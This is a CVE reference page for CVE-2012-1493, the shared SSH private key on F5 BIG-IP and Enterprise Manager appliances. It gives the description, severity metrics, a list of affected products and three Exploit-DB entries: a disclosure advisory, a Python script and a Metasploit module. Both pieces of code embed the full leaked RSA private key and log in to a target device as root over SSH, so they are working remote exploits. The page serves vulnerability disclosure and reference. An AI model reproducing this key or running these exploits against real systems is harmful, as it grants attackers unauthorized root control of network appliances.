CVE-2012-1493 : Detail

CVE-2012-1493

A07-Identif. and Authent. Fail
41.73%V3
Network
2012-07-09
22h00 +00:00
2024-09-17
01h20 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

F5 BIG-IP appliances 9.x before 9.4.8-HF5, 10.x before 10.2.4, 11.0.x before 11.0.0-HF2, and 11.1.x before 11.1.0-HF3, and Enterprise Manager before 2.1.0-HF2, 2.2.x before 2.2.0-HF1, and 2.3.x before 2.3.0-HF3, use a single SSH private key across different customers' installations and do not properly restrict access to this key, which makes it easier for remote attackers to perform SSH logins via the PubkeyAuthentication option.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-255 Category : Credentials Management Errors
Weaknesses in this category are related to the management of credentials.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.8 AV:N/AC:L/Au:N/C:C/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 19064

Publication date : 2012-06-10 22h00 +00:00
Author : Florent Daigniere
EDB Verified : Yes

Matta Consulting - Matta Advisory https://www.trustmatta.com F5 BIG-IP remote root authentication bypass Vulnerability Advisory ID: MATTA-2012-002 CVE reference: CVE-2012-1493 Affected platforms: BIG-IP platforms without SCCP Version: 11.x 10.x 9.x Date: 2012-February-16 Security risk: High Vulnerability: F5 BIG-IP remote root authentication bypass Researcher: Florent Daigniere Vendor Status: Notified / Patch available Vulnerability Disclosure Policy: https://www.trustmatta.com/advisories/matta-disclosure-policy-01.txt Permanent URL: https://www.trustmatta.com/advisories/MATTA-2012-002.txt ===================================================================== Description: Vulnerable BIG-IP installations allow unauthenticated users to bypass authentication and login as the 'root' user on the device. The SSH private key corresponding to the following public key is public and present on all vulnerable appliances: ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAvIhC5skTzxyHif/7iy3yhxuK6/OB13hjPqrskogkYFrcW8OK4VJT+5+Fx7wd4sQCnVn8rNqahw/x6sfcOMDI/Xvn4yKU4t8TnYf2MpUVr4ndz39L5Ds1n7Si1m2suUNxWbKv58I8+NMhlt2ITraSuTU0NGymWOc8+LNi+MHXdLk= SCCP Superuser Its fingerprint is: 71:3a:b0:18:e2:6c:41:18:4e:56:1e:fd:d2:49:97:66 ===================================================================== Impact If successful, a malicious third party can get full control of the device with little to no effort. The Attacker might reposition and launch an attack against other parts of the target infrastructure from there. ===================================================================== Versions affected: BIG-IP version 11.1.0 build 1943.0 tested. The vendor reports that the following versions are patched: 9.4.8-HF5 and later 10.2.4 and later 11.0.0-HF2 and later 11.1.0-HF3 and later http://support.f5.com/kb/en-us/solutions/public/13000/600/sol13600.html ===================================================================== Credits This vulnerability was discovered and researched by Florent Daigniere from Matta Consulting. ===================================================================== History 16-02-12 initial discovery 22-02-12 initial attempt to contact the vendor 24-02-12 reply from David Wang, case C1062228 is open 24-02-12 draft of the advisory sent to the vendor 01-03-12 CVE-2012-1493 is assigned 06-04-12 James Affeld starts coordinating the notification effort 23-05-12 F5 notifies us that patches are ready 29-05-12 F5 sends advance notification to some customers 06-06-12 Public disclosure ===================================================================== About Matta Matta is a privately held company with Headquarters in London, and a European office in Amsterdam. Established in 2001, Matta operates in Europe, Asia, the Middle East and North America using a respected team of senior consultants. Matta is an accredited provider of Tiger Scheme training; conducts regular research and is the developer behind the webcheck application scanner, and colossus network scanner. https://www.trustmatta.com https://www.trustmatta.com/training.html https://www.trustmatta.com/webapp_va.html https://www.trustmatta.com/network_va.html ===================================================================== Disclaimer and Copyright Copyright (c) 2012 Matta Consulting Limited. All rights reserved. This advisory may be distributed as long as its distribution is free-of-charge and proper credit is given. The information provided in this advisory is provided "as is" without warranty of any kind. Matta Consulting disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Matta Consulting or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Matta Consulting or its suppliers have been advised of the possibility of such damages.
Exploit Database EDB-ID : 19091

Publication date : 2012-06-11 22h00 +00:00
Author : David Kennedy (ReL1K)
EDB Verified : Yes

#!/usr/bin/python # # Title: F5 BIG-IP Remote Root Authentication Bypass Vulnerability (py) # # Quick script written by Dave Kennedy (ReL1K) for F5 authentication root bypass # http://www.secmaniac.com # # import subprocess,os filewrite = file("priv.key", "w") filewrite.write("""-----BEGIN RSA PRIVATE KEY----- MIICWgIBAAKBgQC8iELmyRPPHIeJ//uLLfKHG4rr84HXeGM+quySiCRgWtxbw4rh UlP7n4XHvB3ixAKdWfys2pqHD/Hqx9w4wMj9e+fjIpTi3xOdh/YylRWvid3Pf0vk OzWftKLWbay5Q3FZsq/nwjz40yGW3YhOtpK5NTQ0bKZY5zz4s2L4wdd0uQIBIwKB gBWL6mOEsc6G6uszMrDSDRbBUbSQ26OYuuKXMPrNuwOynNdJjDcCGDoDmkK2adDF 8auVQXLXJ5poOOeh0AZ8br2vnk3hZd9mnF+uyDB3PO/tqpXOrpzSyuITy5LJZBBv 7r7kqhyBs0vuSdL/D+i1DHYf0nv2Ps4aspoBVumuQid7AkEA+tD3RDashPmoQJvM 2oWS7PO6ljUVXszuhHdUOaFtx60ZOg0OVwnh+NBbbszGpsOwwEE+OqrKMTZjYg3s 37+x/wJBAMBtwmoi05hBsA4Cvac66T1Vdhie8qf5dwL2PdHfu6hbOifSX/xSPnVL RTbwU9+h/t6BOYdWA0xr0cWcjy1U6UcCQQDBfKF9w8bqPO+CTE2SoY6ZiNHEVNX4 rLf/ycShfIfjLcMA5YAXQiNZisow5xznC/1hHGM0kmF2a8kCf8VcJio5AkBi9p5/ uiOtY5xe+hhkofRLbce05AfEGeVvPM9V/gi8+7eCMa209xjOm70yMnRHIBys8gBU Ot0f/O+KM0JR0+WvAkAskPvTXevY5wkp5mYXMBlUqEd7R3vGBV/qp4BldW5l0N4G LesWvIh6+moTbFuPRoQnGO2P6D7Q5sPPqgqyefZS -----END RSA PRIVATE KEY-----""") filewrite.close() subprocess.Popen("chmod 700 priv.key", shell=True).wait() ipaddr=raw_input("Enter the IP address of the F5: ") subprocess.Popen("ssh -i priv.key root@%s" % (ipaddr), shell=True).wait() if os.path.isfile("priv.key"): os.remove("priv.key")
Exploit Database EDB-ID : 19099

Publication date : 2012-06-12 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'net/ssh' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, { 'Name' => 'F5 BIG-IP SSH Private Key Exposure', 'Version' => '$Revision$', 'Description' => %q{ F5 ships a public/private key pair on BIG-IP appliances that allows passwordless authentication to any other BIG-IP box. Since the key is easily retrievable, an attacker can use it to gain unauthorized remote access as root. }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => true, 'Targets' => [ [ "Universal", {} ] ], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find', }, }, 'Author' => ['egypt'], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'https://www.trustmatta.com/advisories/MATTA-2012-002.txt' ], [ 'CVE', '2012-1493' ], [ 'OSVDB', '82780' ] ], 'DisclosureDate' => "Jun 11 2012", 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, 'DefaultTarget' => 0, })) register_options( [ # Since we don't include Tcp, we have to register this manually Opt::RHOST(), Opt::RPORT(22), ], self.class ) register_advanced_options( [ OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) end # helper methods that normally come from Tcp def rhost datastore['RHOST'] end def rport datastore['RPORT'] end def do_login(user) opt_hash = { :auth_methods => ['publickey'], :msframework => framework, :msfmodule => self, :port => rport, :key_data => [ key_data ], :disable_agent => true, :config => false, :record_auth_info => true } opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] begin ssh_socket = nil ::Timeout.timeout(datastore['SSH_TIMEOUT']) do ssh_socket = Net::SSH.start(rhost, user, opt_hash) end rescue Rex::ConnectionError, Rex::AddressInUse return :connection_error rescue Net::SSH::Disconnect, ::EOFError return :connection_disconnect rescue ::Timeout::Error print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" return :connection_disconnect rescue Net::SSH::AuthenticationFailed print_error "#{rhost}:#{rport} SSH - Failed authentication" rescue Net::SSH::Exception => e return [:fail,nil] # For whatever reason. end if ssh_socket # Create a new session from the socket, then dump it. conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true) ssh_socket = nil return conn else return false end end def exploit conn = do_login("root") if conn print_good "Successful login" handler(conn.lsock) else print_error "Login failed" end end def key_data <<EOF -----BEGIN RSA PRIVATE KEY----- MIICWgIBAAKBgQC8iELmyRPPHIeJ//uLLfKHG4rr84HXeGM+quySiCRgWtxbw4rh UlP7n4XHvB3ixAKdWfys2pqHD/Hqx9w4wMj9e+fjIpTi3xOdh/YylRWvid3Pf0vk OzWftKLWbay5Q3FZsq/nwjz40yGW3YhOtpK5NTQ0bKZY5zz4s2L4wdd0uQIBIwKB gBWL6mOEsc6G6uszMrDSDRbBUbSQ26OYuuKXMPrNuwOynNdJjDcCGDoDmkK2adDF 8auVQXLXJ5poOOeh0AZ8br2vnk3hZd9mnF+uyDB3PO/tqpXOrpzSyuITy5LJZBBv 7r7kqhyBs0vuSdL/D+i1DHYf0nv2Ps4aspoBVumuQid7AkEA+tD3RDashPmoQJvM 2oWS7PO6ljUVXszuhHdUOaFtx60ZOg0OVwnh+NBbbszGpsOwwEE+OqrKMTZjYg3s 37+x/wJBAMBtwmoi05hBsA4Cvac66T1Vdhie8qf5dwL2PdHfu6hbOifSX/xSPnVL RTbwU9+h/t6BOYdWA0xr0cWcjy1U6UcCQQDBfKF9w8bqPO+CTE2SoY6ZiNHEVNX4 rLf/ycShfIfjLcMA5YAXQiNZisow5xznC/1hHGM0kmF2a8kCf8VcJio5AkBi9p5/ uiOtY5xe+hhkofRLbce05AfEGeVvPM9V/gi8+7eCMa209xjOm70yMnRHIBys8gBU Ot0f/O+KM0JR0+WvAkAskPvTXevY5wkp5mYXMBlUqEd7R3vGBV/qp4BldW5l0N4G LesWvIh6+moTbFuPRoQnGO2P6D7Q5sPPqgqyefZS -----END RSA PRIVATE KEY----- EOF end end

Products Mentioned

Configuraton 0

F5>>Big-ip_application_security_manager >> Version 9.2.0

F5>>Big-ip_application_security_manager >> Version 9.2.0

    F5>>Big-ip_application_security_manager >> Version 9.4.4

    F5>>Big-ip_application_security_manager >> Version 9.4.5

    F5>>Big-ip_application_security_manager >> Version 9.4.6

    F5>>Big-ip_application_security_manager >> Version 9.4.7

    F5>>Big-ip_application_security_manager >> Version 9.4.8

    F5>>Big-ip_application_security_manager >> Version 10.0.0

    F5>>Big-ip_application_security_manager >> Version 10.0.1

    F5>>Big-ip_application_security_manager >> Version 10.2.3

      F5>>Big-ip_application_security_manager >> Version 11.0.0

      F5>>Big-ip_application_security_manager >> Version 11.0.0

        F5>>Big-ip_application_security_manager >> Version 11.1.0

        F5>>Big-ip_application_security_manager >> Version 11.1.0

          F5>>Big-ip_global_traffic_manager >> Version *

          F5>>Big-ip_global_traffic_manager >> Version 9.2.2

          F5>>Big-ip_global_traffic_manager >> Version 9.4.8

            F5>>Big-ip_global_traffic_manager >> Version 10.0.0

            F5>>Big-ip_global_traffic_manager >> Version 10.2.3

              F5>>Big-ip_global_traffic_manager >> Version 11.0.0

              F5>>Big-ip_global_traffic_manager >> Version 11.0.0

                F5>>Big-ip_global_traffic_manager >> Version 11.1.0

                F5>>Big-ip_global_traffic_manager >> Version 11.1.0

                  F5>>Big-ip_local_traffic_manager >> Version *

                  F5>>Big-ip_local_traffic_manager >> Version 9.0.0

                    F5>>Big-ip_local_traffic_manager >> Version 9.4.8

                      F5>>Big-ip_local_traffic_manager >> Version 10.0.0

                      F5>>Big-ip_local_traffic_manager >> Version 10.2.3

                        F5>>Big-ip_local_traffic_manager >> Version 11.0.0

                        F5>>Big-ip_local_traffic_manager >> Version 11.0.0

                          F5>>Big-ip_local_traffic_manager >> Version 11.1.0

                          F5>>Big-ip_local_traffic_manager >> Version 11.1.0

                            F5>>Tmos >> Version *

                            F5>>Tmos >> Version 2.0

                            F5>>Tmos >> Version 4.0

                            F5>>Tmos >> Version 4.2

                            F5>>Tmos >> Version 4.3

                            F5>>Tmos >> Version 4.4

                            F5>>Tmos >> Version 4.5

                            F5>>Tmos >> Version 4.5.6

                            F5>>Tmos >> Version 4.5.9

                            F5>>Tmos >> Version 4.5.10

                            F5>>Tmos >> Version 4.5.11

                            F5>>Tmos >> Version 4.5.12

                            F5>>Tmos >> Version 4.6

                            F5>>Tmos >> Version 4.6.2

                            F5>>Tmos >> Version 9.0

                            F5>>Tmos >> Version 9.0.1

                            F5>>Tmos >> Version 9.0.2

                            F5>>Tmos >> Version 9.0.3

                            F5>>Tmos >> Version 9.0.4

                            F5>>Tmos >> Version 9.0.5

                            F5>>Tmos >> Version 9.1

                            F5>>Tmos >> Version 9.1.1

                            F5>>Tmos >> Version 9.1.2

                            F5>>Tmos >> Version 9.1.3

                            F5>>Tmos >> Version 9.2

                            F5>>Tmos >> Version 9.2.2

                            F5>>Tmos >> Version 9.2.3

                            F5>>Tmos >> Version 9.2.4

                            F5>>Tmos >> Version 9.2.5

                            F5>>Tmos >> Version 9.3

                            F5>>Tmos >> Version 9.3.1

                            F5>>Tmos >> Version 9.4

                            F5>>Tmos >> Version 9.4.1

                            F5>>Tmos >> Version 9.4.2

                            F5>>Tmos >> Version 9.4.3

                            F5>>Tmos >> Version 9.4.4

                            F5>>Tmos >> Version 9.4.5

                            F5>>Tmos >> Version 9.4.6

                            F5>>Tmos >> Version 9.4.7

                            F5>>Tmos >> Version 9.4.8

                            F5>>Tmos >> Version 9.6.0

                            F5>>Tmos >> Version 9.6.1

                            F5>>Tmos >> Version 10.0.0

                            F5>>Tmos >> Version 10.0.1

                            F5>>Tmos >> Version 10.1.0

                            F5>>Tmos >> Version 10.2.0

                            F5>>Big-ip_1000 >> Version *

                            F5>>Big-ip_11000 >> Version *

                              F5>>Big-ip_11050 >> Version *

                              F5>>Big-ip_1500 >> Version *

                              F5>>Big-ip_1600 >> Version *

                              F5>>Big-ip_2400 >> Version *

                              F5>>Big-ip_3400 >> Version *

                              F5>>Big-ip_3410 >> Version *

                              F5>>Big-ip_3600 >> Version *

                              F5>>Big-ip_3900 >> Version *

                              F5>>Big-ip_4100 >> Version *

                              F5>>Big-ip_5100 >> Version *

                              F5>>Big-ip_5110 >> Version *

                              F5>>Big-ip_6400 >> Version *

                              F5>>Big-ip_6800 >> Version *

                              F5>>Big-ip_6900 >> Version *

                              F5>>Big-ip_8400 >> Version *

                              F5>>Big-ip_8800 >> Version *

                              F5>>Big-ip_8900 >> Version *

                              F5>>Big-ip_8950 >> Version *

                              Configuraton 0

                              F5>>Enterprise_manager >> Version *

                                F5>>Enterprise_manager >> Version 1.0

                                  F5>>Enterprise_manager >> Version 2.0

                                    F5>>Enterprise_manager >> Version 2.1.0

                                      F5>>Enterprise_manager >> Version 2.1.0

                                        F5>>Enterprise_manager >> Version 2.2.0

                                          F5>>Enterprise_manager >> Version 2.3.0

                                            F5>>Enterprise_manager >> Version 2.3.0

                                              F5>>Enterprise_manager >> Version *

                                                F5>>Enterprise_manager >> Version 1.0

                                                  F5>>Enterprise_manager >> Version 2.0

                                                    F5>>Enterprise_manager >> Version 2.1.0

                                                      F5>>Enterprise_manager >> Version 2.1.0

                                                        F5>>Enterprise_manager >> Version 2.2.0

                                                          F5>>Enterprise_manager >> Version 2.3.0

                                                            F5>>Enterprise_manager >> Version 2.3.0

                                                              References